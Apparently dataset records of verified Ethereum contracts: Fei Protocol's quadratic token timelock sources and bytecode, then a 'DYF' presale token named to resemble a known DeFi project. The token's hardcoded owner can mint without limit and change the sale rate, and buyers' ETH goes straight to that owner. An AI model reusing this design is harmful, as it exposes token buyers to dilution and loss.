// SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.8.4; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "../utils/timelock/QuadraticTokenTimelock.sol"; interface IVotingToken is IERC20 { function delegate(address delegatee) external; } /// @title a timelock for tokens allowing for bulk delegation /// @author Fei Protocol /// @notice allows the timelocked tokens to be delegated by the beneficiary while locked contract QuadraticTimelockedDelegator is QuadraticTokenTimelock { /// @notice QuadraticTimelockedDelegator constructor /// @param _token the token address /// @param _beneficiary admin, and timelock beneficiary /// @param _duration duration of the token timelock window /// @param _cliff the seconds before first claim is allowed /// @param _clawbackAdmin the address which can trigger a clawback /// @param _startTime the unix epoch for starting timelock. Use 0 to start at deployment constructor( address _token, address _beneficiary, uint256 _duration, uint256 _cliff, address _clawbackAdmin, uint256 _startTime ) QuadraticTokenTimelock(_beneficiary, _duration, _token, _cliff, _clawbackAdmin, _startTime) {} /// @notice accept beneficiary role over timelocked TRIBE function acceptBeneficiary() public override { _setBeneficiary(msg.sender); } /// @notice delegate all held TRIBE to the `to` address function delegate(address to) public onlyBeneficiary { IVotingToken(address(lockedToken)).delegate(to); } } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.8.4; import "./TokenTimelock.sol"; contract QuadraticTokenTimelock is TokenTimelock { constructor ( address _beneficiary, uint256 _duration, address _lockedToken, uint256 _cliffDuration, address _clawbackAdmin, uint256 _startTime ) TokenTimelock( _beneficiary, _duration, _cliffDuration, _lockedToken, _clawbackAdmin ) { if (_startTime != 0) { startTime = _startTime; } } function _proportionAvailable( uint256 initialBalance, uint256 elapsed, uint256 duration ) internal pure override returns (uint256) { return initialBalance * elapsed * elapsed / duration / duration; } } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.8.4; // Inspired by OpenZeppelin TokenTimelock contract // Reference: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/TokenTimelock.sol import "../Timed.sol"; import "./ITokenTimelock.sol"; abstract contract TokenTimelock is ITokenTimelock, Timed { /// @notice ERC20 basic token contract being held in timelock IERC20 public override lockedToken; /// @notice beneficiary of tokens after they are released address public override beneficiary; /// @notice pending beneficiary appointed by current beneficiary address public override pendingBeneficiary; /// @notice initial balance of lockedToken uint256 public override initialBalance; uint256 internal lastBalance; /// @notice number of seconds before releasing is allowed uint256 public immutable cliffSeconds; address public immutable clawbackAdmin; constructor( address _beneficiary, uint256 _duration, uint256 _cliffSeconds, address _lockedToken, address _clawbackAdmin ) Timed(_duration) { require(_duration != 0, "TokenTimelock: duration is 0"); require( _beneficiary != address(0), "TokenTimelock: Beneficiary must not be 0 address" ); beneficiary = _beneficiary; _initTimed(); _setLockedToken(_lockedToken); cliffSeconds = _cliffSeconds; clawbackAdmin = _clawbackAdmin; } // Prevents incoming LP tokens from messing up calculations modifier balanceCheck() { if (totalToken() > lastBalance) { uint256 delta = totalToken() - lastBalance; initialBalance = initialBalance + delta; } _; lastBalance = totalToken(); } modifier onlyBeneficiary() { require( msg.sender == beneficiary, "TokenTimelock: Caller is not a beneficiary" ); _; } /// @notice releases `amount` unlocked tokens to address `to` function release(address to, uint256 amount) external override onlyBeneficiary balanceCheck { require(amount != 0, "TokenTimelock: no amount desired"); require(passedCliff(), "TokenTimelock: Cliff not passed"); uint256 available = availableForRelease(); require(amount <= available, "TokenTimelock: not enough released tokens"); _release(to, amount); } /// @notice releases maximum unlocked tokens to address `to` function releaseMax(address to) external override onlyBeneficiary balanceCheck { require(passedCliff(), "TokenTimelock: Cliff not passed"); _release(to, availableForRelease()); } /// @notice the total amount of tokens held by timelock function totalToken() public view override virtual returns (uint256) { return lockedToken.balanceOf(address(this)); } /// @notice amount of tokens released to beneficiary function alreadyReleasedAmount() public view override returns (uint256) { return initialBalance - totalToken(); } /// @notice amount of held tokens unlocked and available for release function availableForRelease() public view override returns (uint256) { uint256 elapsed = timeSinceStart(); uint256 totalAvailable = _proportionAvailable(initialBalance, elapsed, duration); uint256 netAvailable = totalAvailable - alreadyReleasedAmount(); return netAvailable; } /// @notice current beneficiary can appoint new beneficiary, which must be accepted function setPendingBeneficiary(address _pendingBeneficiary) public override onlyBeneficiary { pendingBeneficiary = _pendingBeneficiary; emit PendingBeneficiaryUpdate(_pendingBeneficiary); } /// @notice pending beneficiary accepts new beneficiary function acceptBeneficiary() public override virtual { _setBeneficiary(msg.sender); } function clawback() public balanceCheck { require(msg.sender == clawbackAdmin, "TokenTimelock: Only clawbackAdmin"); if (passedCliff()) { _release(beneficiary, availableForRelease()); } _release(clawbackAdmin, totalToken()); } function passedCliff() public view returns (bool) { return timeSinceStart() >= cliffSeconds; } function _proportionAvailable(uint256 initialBalance, uint256 elapsed, uint256 duration) internal pure virtual returns (uint256); function _setBeneficiary(address newBeneficiary) internal { require( newBeneficiary == pendingBeneficiary, "TokenTimelock: Caller is not pending beneficiary" ); beneficiary = newBeneficiary; emit BeneficiaryUpdate(newBeneficiary); pendingBeneficiary = address(0); } function _setLockedToken(address tokenAddress) internal { lockedToken = IERC20(tokenAddress); } function _release(address to, uint256 amount) internal { lockedToken.transfer(to, amount); emit Release(beneficiary, to, amount); } } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.8.4; /// @title an abstract contract for timed events /// @author Fei Protocol abstract contract Timed { /// @notice the start timestamp of the timed period uint256 public startTime; /// @notice the duration of the timed period uint256 public duration; event DurationUpdate(uint256 oldDuration, uint256 newDuration); event TimerReset(uint256 startTime); constructor(uint256 _duration) { _setDuration(_duration); } modifier duringTime() { require(isTimeStarted(), "Timed: time not started"); require(!isTimeEnded(), "Timed: time ended"); _; } modifier afterTime() { require(isTimeEnded(), "Timed: time not ended"); _; } /// @notice return true if time period has ended function isTimeEnded() public view returns (bool) { return remainingTime() == 0; } /// @notice number of seconds remaining until time is up /// @return remaining function remainingTime() public view returns (uint256) { return duration - timeSinceStart(); // duration always >= timeSinceStart which is on [0,d] } /// @notice number of seconds since contract was initialized /// @return timestamp /// @dev will be less than or equal to duration function timeSinceStart() public view returns (uint256) { if (!isTimeStarted()) { return 0; // uninitialized } uint256 _duration = duration; uint256 timePassed = block.timestamp - startTime; // block timestamp always >= startTime return timePassed > _duration ? _duration : timePassed; } function isTimeStarted() public view returns (bool) { return startTime != 0; } function _initTimed() internal { startTime = block.timestamp; emit TimerReset(block.timestamp); } function _setDuration(uint256 newDuration) internal { require(newDuration != 0, "Timed: zero duration"); uint256 oldDuration = duration; duration = newDuration; emit DurationUpdate(oldDuration, newDuration); } } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.8.4; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /// @title TokenTimelock interface /// @author Fei Protocol interface ITokenTimelock { // ----------- Events ----------- event Release(address indexed _beneficiary, address indexed _recipient, uint256 _amount); event BeneficiaryUpdate(address indexed _beneficiary); event PendingBeneficiaryUpdate(address indexed _pendingBeneficiary); // ----------- State changing api ----------- function release(address to, uint256 amount) external; function releaseMax(address to) external; function setPendingBeneficiary(address _pendingBeneficiary) external; function acceptBeneficiary() external; // ----------- Getters ----------- function lockedToken() external view returns (IERC20); function beneficiary() external view returns (address); function pendingBeneficiary() external view returns (address); function initialBalance() external view returns (uint256); function availableForRelease() external view returns (uint256); function totalToken() external view returns(uint256); function alreadyReleasedAmount() external view returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
0x608060405234801561001057600080fd5b50600436106101415760003560e01c80634929e162116100b85780638341ee721161007c5780638341ee721461025a578063acc4bd0814610281578063ae951b2e14610289578063b38c43e314610291578063b888c479146102a4578063c5fa55a5146102ac57600080fd5b80634929e162146102265780635c19a95c1461022e578063626be5671461024157806367fc6dea1461024957806378e979251461025157600080fd5b806318369a2a1161010a57806318369a2a146101df5780632526d960146101e857806328b5030b146101f057806338af3eed146101f8578063427db3801461020b57806344f61ab71461021e57600080fd5b8062d89b33146101465780630357371d146101615780630f45cc81146101765780630fb5a6b4146101a157806310c48245146101b8575b600080fd5b60005415155b60405190151581526020015b60405180910390f35b61017461016f366004610a88565b6102bf565b005b600254610189906001600160a01b031681565b6040516001600160a01b039091168152602001610158565b6101aa60015481565b604051908152602001610158565b6101897f000000000000000000000000d51dba7a94e1adea403553a8235c302cebf41a3c81565b6101aa60055481565b610174610458565b6101aa61057a565b600354610189906001600160a01b031681565b600454610189906001600160a01b031681565b61014c6105b6565b6101746105e8565b61017461023c366004610ab2565b6105f3565b6101aa61067f565b6101aa6106f1565b6101aa60005481565b6101aa7f000000000000000000000000000000000000000000000000000000000000000081565b6101aa610728565b61014c61073f565b61017461029f366004610ab2565b61074f565b6101aa610824565b6101746102ba366004610ab2565b61083b565b6003546001600160a01b031633146102f25760405162461bcd60e51b81526004016102e990610ad4565b60405180910390fd5b6006546102fd61067f565b111561032f57600060065461031061067f565b61031a9190610b34565b90508060055461032a9190610b4b565b600555505b8061037c5760405162461bcd60e51b815260206004820181905260248201527f546f6b656e54696d656c6f636b3a206e6f20616d6f756e74206465736972656460448201526064016102e9565b6103846105b6565b6103d05760405162461bcd60e51b815260206004820152601f60248201527f546f6b656e54696d656c6f636b3a20436c696666206e6f74207061737365640060448201526064016102e9565b60006103da61057a565b90508082111561043e5760405162461bcd60e51b815260206004820152602960248201527f546f6b656e54696d656c6f636b3a206e6f7420656e6f7567682072656c656173604482015268656420746f6b656e7360b81b60648201526084016102e9565b61044883836108af565b5061045161067f565b6006555050565b60065461046361067f565b111561049557600060065461047661067f565b6104809190610b34565b9050806005546104909190610b4b565b600555505b336001600160a01b037f000000000000000000000000d51dba7a94e1adea403553a8235c302cebf41a3c16146105175760405162461bcd60e51b815260206004820152602160248201527f546f6b656e54696d656c6f636b3a204f6e6c7920636c61776261636b41646d696044820152603760f91b60648201526084016102e9565b61051f6105b6565b1561054157600354610541906001600160a01b031661053c61057a565b6108af565b61056d7f000000000000000000000000d51dba7a94e1adea403553a8235c302cebf41a3c61053c61067f565b61057561067f565b600655565b6000806105856106f1565b905060006105986005548360015461096f565b905060006105a4610824565b6105ae9083610b34565b949350505050565b60007f00000000000000000000000000000000000000000000000000000000000000006105e16106f1565b1015905090565b6105f13361099c565b565b6003546001600160a01b0316331461061d5760405162461bcd60e51b81526004016102e990610ad4565b6002546040516317066a5760e21b81526001600160a01b03838116600483015290911690635c19a95c90602401600060405180830381600087803b15801561066457600080fd5b505af1158015610678573d6000803e3d6000fd5b5050505050565b6002546040516370a0823160e01b81523060048201526000916001600160a01b0316906370a0823190602401602060405180830381865afa1580156106c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ec9190610b63565b905090565b600080546106ff5750600090565b600154600080546107109042610b34565b905081811161071f5780610721565b815b9250505090565b60006107326106f1565b6001546106ec9190610b34565b6000610749610728565b15919050565b6003546001600160a01b031633146107795760405162461bcd60e51b81526004016102e990610ad4565b60065461078461067f565b11156107b657600060065461079761067f565b6107a19190610b34565b9050806005546107b19190610b4b565b600555505b6107be6105b6565b61080a5760405162461bcd60e51b815260206004820152601f60248201527f546f6b656e54696d656c6f636b3a20436c696666206e6f74207061737365640060448201526064016102e9565b6108168161053c61057a565b61081e61067f565b60065550565b600061082e61067f565b6005546106ec9190610b34565b6003546001600160a01b031633146108655760405162461bcd60e51b81526004016102e990610ad4565b600480546001600160a01b0319166001600160a01b0383169081179091556040517f636f16dafcc1e5b7ae44b2a7fd661757f160672716bb47a02c7d3f5108be49a090600090a250565b60025460405163a9059cbb60e01b81526001600160a01b038481166004830152602482018490529091169063a9059cbb906044016020604051808303816000875af1158015610902573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109269190610b7c565b506003546040518281526001600160a01b038481169216907fcb54aad3bd772fcfe1bc124e01bd1a91a91c9d80126d8b3014c4d9e687d5ca489060200160405180910390a35050565b600081808461097e8188610b9e565b6109889190610b9e565b6109929190610bbd565b6105ae9190610bbd565b6004546001600160a01b03828116911614610a125760405162461bcd60e51b815260206004820152603060248201527f546f6b656e54696d656c6f636b3a2043616c6c6572206973206e6f742070656e60448201526f64696e672062656e656669636961727960801b60648201526084016102e9565b600380546001600160a01b0319166001600160a01b0383169081179091556040517fe356863d8c81d46ff30d41a6332e1d04d2fb6c0f043fa6554e3d1e1deae95a8a90600090a250600480546001600160a01b0319169055565b80356001600160a01b0381168114610a8357600080fd5b919050565b60008060408385031215610a9b57600080fd5b610aa483610a6c565b946020939093013593505050565b600060208284031215610ac457600080fd5b610acd82610a6c565b9392505050565b6020808252602a908201527f546f6b656e54696d656c6f636b3a2043616c6c6572206973206e6f7420612062604082015269656e656669636961727960b01b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b600082821015610b4657610b46610b1e565b500390565b60008219821115610b5e57610b5e610b1e565b500190565b600060208284031215610b7557600080fd5b5051919050565b600060208284031215610b8e57600080fd5b81518015158114610acd57600080fd5b6000816000190483118215151615610bb857610bb8610b1e565b500290565b600082610bda57634e487b7160e01b600052601260045260246000fd5b50049056fea264697066735822122013382079bd665f55e416f11d2bf14fd78b37a1ee85e646bcd387f3facb5ae39764736f6c634300080a0033
[ 16, 9 ]
0xF2a59fa27523a51284131822C94AAD5C1614fc9a
pragma solidity ^0.4.24; // ---------------------------------------------------------------------------- // 'DYF Token' Smart Contract // // OwnerAddress : // Symbol : // Name : // Total Supply : // Decimals : 18 // Copyrights of 'DYFToken' With 'DYF' Symbol October 25, 2020. // The MIT Licence. // // Prepared and Compiled by: HASSAN ISA // ---------------------------------------------------------------------------- library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // Ownership contract // _newOwner is address of new owner // ---------------------------------------------------------------------------- contract Owned { address public owner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = 0x0D6B9AD91B86194c3BaE4cC3DB7ab466EC164048; } modifier onlyOwner { require(msg.sender == owner); _; } // transfer Ownership to other address function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != address(0x0)); emit OwnershipTransferred(owner,_newOwner); owner = _newOwner; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and an // initial fixed supply // ---------------------------------------------------------------------------- contract DYFToken is ERC20Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint public _totalSupply; uint public RATE; uint public DENOMINATOR; bool public isStopped = false; mapping(address =>uint) balances; mapping(address => mapping(address =>uint)) allowed; event Mint(address indexed to, uint256 amount); event ChangeRate(uint256 amount); modifier onlyWhenRunning { require(!isStopped); _; } // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "DYF"; name = "DeFi Yearn Fiinance"; decimals = 18; _totalSupply = 30000 * 10**uint(decimals); balances[owner] = _totalSupply; RATE = 20000; // 1 ETH = 20 DYF DENOMINATOR = 1000; emit Transfer(address(0), owner, _totalSupply); } // ---------------------------------------------------------------------------- // requires enough gas for execution // ---------------------------------------------------------------------------- function() public payable { buyTokens(); } // ---------------------------------------------------------------------------- // Function to handle eth and token transfers // tokens are transferred to user // ETH are transferred to current owner // ---------------------------------------------------------------------------- function buyTokens() onlyWhenRunning public payable { require(msg.value> 0); uint tokens = msg.value.mul(RATE).div(DENOMINATOR); require(balances[owner] >= tokens); balances[msg.sender] = balances[msg.sender].add(tokens); balances[owner] = balances[owner].sub(tokens); emit Transfer(owner, msg.sender, tokens); owner.transfer(msg.value); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public view returns (uint) { return _totalSupply; } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { require(to != address(0)); require(tokens > 0); require(balances[msg.sender] >= tokens); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { require(spender != address(0)); require(tokens > 0); allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { require(from != address(0)); require(to != address(0)); require(tokens > 0); require(balances[from] >= tokens); require(allowed[from][msg.sender] >= tokens); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Increase the amount of tokens that an owner allowed to a spender. // // approve should be called when allowed[_spender] == 0. To increment // allowed value is better to use this function to avoid 2 calls (and wait until // the first transaction is mined) // _spender The address which will spend the funds. // _addedValueThe amount of tokens to increase the allowance by. // ------------------------------------------------------------------------ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { require(_spender != address(0)); allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } // ------------------------------------------------------------------------ // Decrease the amount of tokens that an owner allowed to a spender. // // approve should be called when allowed[_spender] == 0. To decrement // allowed value is better to use this function to avoid 2 calls (and wait until // the first transaction is mined) // _spender The address which will spend the funds. // _subtractedValueThe amount of tokens to decrease the allowance by. // ------------------------------------------------------------------------ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { require(_spender != address(0)); uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } // ------------------------------------------------------------------------ // Change the ETH to IO rate // ------------------------------------------------------------------------ function changeRate(uint256 _rate) public onlyOwner { require(_rate > 0); RATE =_rate; emit ChangeRate(_rate); } // ------------------------------------------------------------------------ // _to The address that will receive the minted tokens. // _amount The amount of tokens to mint. // A boolean that indicates if the operation was successful. // ------------------------------------------------------------------------ function mint(address _to, uint256 _amount) onlyOwner public returns (bool) { require(_to != address(0)); require(_amount > 0); uint newamount = _amount * 10**uint(decimals); _totalSupply = _totalSupply.add(newamount); balances[_to] = balances[_to].add(newamount); emit Mint(_to, newamount); emit Transfer(address(0), _to, newamount); return true; } // ------------------------------------------------------------------------ // function to stop the ICO // ------------------------------------------------------------------------ function stopPRESALE() onlyOwner public { isStopped = true; } // ------------------------------------------------------------------------ // function to resume PRESALE // ------------------------------------------------------------------------ function resumePRESALE() onlyOwner public { isStopped = false; } }
0x6080604052600436106101275763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610131578063095ea7b3146101bb57806318160ddd146101f357806323b872dd1461021a578063313ce567146102445780633eaaf86b1461026f5780633f683b6a1461028457806340c10f191461029957806366188463146102bd578063664e9704146102e157806370a08231146102f657806374e7493b146103175780638da5cb5b1461032f578063918f86741461036057806395d89b4114610375578063a9059cbb1461038a578063b3261f57146103ae578063d0febe4c14610127578063d73dd623146103c3578063dd62ed3e146103e7578063f2fde38b1461040e578063fae5f8ce1461042f575b61012f610444565b005b34801561013d57600080fd5b5061014661058c565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610180578181015183820152602001610168565b50505050905090810190601f1680156101ad5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101c757600080fd5b506101df600160a060020a0360043516602435610617565b604080519115158252519081900360200190f35b3480156101ff57600080fd5b506102086106a3565b60408051918252519081900360200190f35b34801561022657600080fd5b506101df600160a060020a03600435811690602435166044356106a9565b34801561025057600080fd5b50610259610830565b6040805160ff9092168252519081900360200190f35b34801561027b57600080fd5b50610208610839565b34801561029057600080fd5b506101df61083f565b3480156102a557600080fd5b506101df600160a060020a0360043516602435610848565b3480156102c957600080fd5b506101df600160a060020a036004351660243561095d565b3480156102ed57600080fd5b50610208610a66565b34801561030257600080fd5b50610208600160a060020a0360043516610a6c565b34801561032357600080fd5b5061012f600435610a87565b34801561033b57600080fd5b50610344610ae6565b60408051600160a060020a039092168252519081900360200190f35b34801561036c57600080fd5b50610208610af5565b34801561038157600080fd5b50610146610afb565b34801561039657600080fd5b506101df600160a060020a0360043516602435610b55565b3480156103ba57600080fd5b5061012f610c33565b3480156103cf57600080fd5b506101df600160a060020a0360043516602435610c56565b3480156103f357600080fd5b50610208600160a060020a0360043581169060243516610d06565b34801561041a57600080fd5b5061012f600160a060020a0360043516610d31565b34801561043b57600080fd5b5061012f610dc5565b60075460009060ff161561045757600080fd5b6000341161046457600080fd5b61048b60065461047f60055434610deb90919063ffffffff16565b9063ffffffff610e1016565b60008054600160a060020a03168152600860205260409020549091508111156104b357600080fd5b336000908152600860205260409020546104d3908263ffffffff610e3116565b33600090815260086020526040808220929092558054600160a060020a031681522054610506908263ffffffff610e4116565b60008054600160a060020a0390811682526008602090815260408084209490945591548351858152935133949190921692600080516020610e5783398151915292918290030190a360008054604051600160a060020a03909116913480156108fc02929091818181858888f19350505050158015610588573d6000803e3d6000fd5b5050565b6002805460408051602060018416156101000260001901909316849004601f8101849004840282018401909252818152929183018282801561060f5780601f106105e45761010080835404028352916020019161060f565b820191906000526020600020905b8154815290600101906020018083116105f257829003601f168201915b505050505081565b6000600160a060020a038316151561062e57600080fd5b6000821161063b57600080fd5b336000818152600960209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060015b92915050565b60045490565b6000600160a060020a03841615156106c057600080fd5b600160a060020a03831615156106d557600080fd5b600082116106e257600080fd5b600160a060020a03841660009081526008602052604090205482111561070757600080fd5b600160a060020a038416600090815260096020908152604080832033845290915290205482111561073757600080fd5b600160a060020a038416600090815260086020526040902054610760908363ffffffff610e4116565b600160a060020a038516600090815260086020908152604080832093909355600981528282203383529052205461079d908363ffffffff610e4116565b600160a060020a0380861660009081526009602090815260408083203384528252808320949094559186168152600890915220546107e1908363ffffffff610e3116565b600160a060020a038085166000818152600860209081526040918290209490945580518681529051919392881692600080516020610e5783398151915292918290030190a35060019392505050565b60035460ff1681565b60045481565b60075460ff1681565b600080548190600160a060020a0316331461086257600080fd5b600160a060020a038416151561087757600080fd5b6000831161088457600080fd5b5060035460045460ff909116600a0a8302906108a6908263ffffffff610e3116565b600455600160a060020a0384166000908152600860205260409020546108d2908263ffffffff610e3116565b600160a060020a038516600081815260086020908152604091829020939093558051848152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518281529051600160a060020a03861691600091600080516020610e578339815191529181900360200190a35060019392505050565b600080600160a060020a038416151561097557600080fd5b50336000908152600960209081526040808320600160a060020a0387168452909152902054808311156109cb57336000908152600960209081526040808320600160a060020a0388168452909152812055610a00565b6109db818463ffffffff610e4116565b336000908152600960209081526040808320600160a060020a03891684529091529020555b336000818152600960209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b60055481565b600160a060020a031660009081526008602052604090205490565b600054600160a060020a03163314610a9e57600080fd5b60008111610aab57600080fd5b60058190556040805182815290517f5a75aa1ccd5244c76a14e60301b7bc29e02263de78b6af4606269d5e1db085139181900360200190a150565b600054600160a060020a031681565b60065481565b60018054604080516020600284861615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561060f5780601f106105e45761010080835404028352916020019161060f565b6000600160a060020a0383161515610b6c57600080fd5b60008211610b7957600080fd5b33600090815260086020526040902054821115610b9557600080fd5b33600090815260086020526040902054610bb5908363ffffffff610e4116565b3360009081526008602052604080822092909255600160a060020a03851681522054610be7908363ffffffff610e3116565b600160a060020a038416600081815260086020908152604091829020939093558051858152905191923392600080516020610e578339815191529281900390910190a350600192915050565b600054600160a060020a03163314610c4a57600080fd5b6007805460ff19169055565b6000600160a060020a0383161515610c6d57600080fd5b336000908152600960209081526040808320600160a060020a0387168452909152902054610ca1908363ffffffff610e3116565b336000818152600960209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260096020908152604080832093909416825291909152205490565b600054600160a060020a03163314610d4857600080fd5b600160a060020a0381161515610d5d57600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600054600160a060020a03163314610ddc57600080fd5b6007805460ff19166001179055565b818102821580610e055750818382811515610e0257fe5b04145b151561069d57600080fd5b6000808211610e1e57600080fd5b8183811515610e2957fe5b049392505050565b8181018281101561069d57600080fd5b600082821115610e5057600080fd5b509003905600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820bbcdb77cd729f70762d81b59ff544be6c1895dd7c28aa45faebf7057e88c51f00029
[ 38 ]
0xF2a5ba124ff707cA6885294eD6b902234A720693
